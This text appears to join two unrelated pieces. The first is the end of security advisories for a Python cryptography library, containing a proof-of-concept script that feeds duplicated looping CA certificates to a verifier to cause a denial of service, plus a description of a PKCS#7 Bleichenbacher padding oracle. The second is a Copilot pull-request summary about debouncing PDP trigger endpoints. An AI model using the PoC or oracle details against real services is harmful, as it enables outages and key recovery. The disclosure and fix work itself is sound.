.not_valid_after(NOW + datetime.timedelta(days=30)) ) def make_ca(common_name, serial): private_key = ec.generate_private_key(ec.SECP256R1()) subject = name(common_name) cert = ( base_builder(subject, subject, private_key.public_key(), serial) .add_extension(x509.BasicConstraints(ca=True, path_length=None), True) .add_extension(CA_KEY_USAGE, True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()), False, ) .sign(private_key, hashes.SHA256()) ) return private_key, cert def make_leaf(issuer_key, issuer_cert): private_key = ec.generate_private_key(ec.SECP256R1()) return ( base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100) .add_extension(x509.BasicConstraints(ca=False, path_length=None), True) .add_extension(EE_KEY_USAGE, True) .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()), False, ) .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False) .sign(issuer_key, hashes.SHA256()) ) def build_material(): looping_key, looping_ca = make_ca("looping self-signed CA", 1) _, unrelated_root = make_ca("unrelated trust anchor", 2) leaf = make_leaf(looping_key, looping_ca) return leaf, looping_ca, unrelated_root def verify_case(duplicates, max_depth, queue): leaf, looping_ca, unrelated_root = build_material() verifier = ( PolicyBuilder() .store(Store([unrelated_root])) .time(NOW) .max_chain_depth(max_depth) .build_server_verifier(DNSName("example.com")) ) start = time.perf_counter() try: verifier.verify(leaf, [looping_ca] * duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perf_counter() - start)) def run_case(duplicates, max_depth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verify_case, args=(duplicates, max_depth, queue), ) process.start() process.join(TIMEOUT) if process.is_alive(): process.terminate() process.join() print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,") return result, elapsed = queue.get() print(f"{duplicates},{max_depth},{result},{elapsed:.6f}") if __name__ == "__main__": print("duplicates,max_depth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: run_case(*case) Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. Observable Timing Discrepancy Affected range >=44.0.0 <50.0.0 Fixed version 50.0.0 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N Description Summary pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Introduced in 44.0.0. Fixed in 50.0.0. Details Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed differently, with no RFC 3218 mitigation: invalid RSA padding → Decryption failed valid padding, bad key length → Invalid key size (N) for AES., disclosing N correct length, wrong key → Invalid padding bytes. the real key → plaintext Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels, invalid padding instead returns a synthetic plaintext of pseudorandom length, so the error channel does not distinguish conforming ciphertexts. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. Fix Per RFC 3218, the content-encryption algorithm is now resolved before the private key is used, so the expected key length is known in advance. If the RSA decryption fails or recovers a key of the wrong length, a random key of the expected length is substituted and decryption continues down an identical path. All failures now report identically and perform the same work. Not addressed by this fix EnvelopedData does not authenticate its content. Tampering with encryptedContent alone yields a CBC padding oracle that recovers plaintext at roughly 256 queries per byte, without recovering any key, on every backend. This is a property of PKCS#7 rather than of this implementation, cannot be fixed in the library, and is now documented. Credit Reported by @X1AOxiang.

[Copilot]

Pull request overview

This PR adds per-updater debouncing/coalescing to the PDP’s forced-reload trigger endpoints to prevent authenticated callers (or buggy SDKs) from repeatedly forcing full control-plane repulls, and replaces OPAL’s trigger-route handlers with PDP-owned gated/debounced equivalents.

Changes:

• Introduces a DebouncedTrigger utility to coalesce trigger calls within a configurable window and while a reload is in-flight.
• Replaces OPAL-mounted POST /policy-updater/trigger and POST /data-updater/trigger routes with PDP-owned, enforce_pdp_token-gated, debounced handlers; legacy aliases share the same debouncers.
• Adds TRIGGER_DEBOUNCE_SECONDS configuration (remote-config overridable) and new end-to-end behavior tests for coalescing semantics.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated 1 comment.

Show a summary per file

File	Description
horizon/debounce.py	Adds the debouncing/coalescing state machine for trigger calls (window + in-flight guard).
horizon/pdp.py	Removes OPAL trigger routes and re-registers PDP-owned debounced/gated replacements; wires in per-updater debouncers shared across canonical + legacy aliases.
horizon/config.py	Adds TRIGGER_DEBOUNCE_SECONDS (default 10s, 0 disables) to control debounce behavior.
horizon/tests/test_trigger_debounce.py	New integration-style tests validating within-window and in-flight coalescing, failure semantics, 0 disables, and canonical/legacy sharing.
horizon/tests/test_route_auth_audit.py	Updates regression message to reflect the new route replacement functions.
horizon/tests/test_opal_trigger_auth.py	Updates documentation to reflect route replacement (vs dependency injection).

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.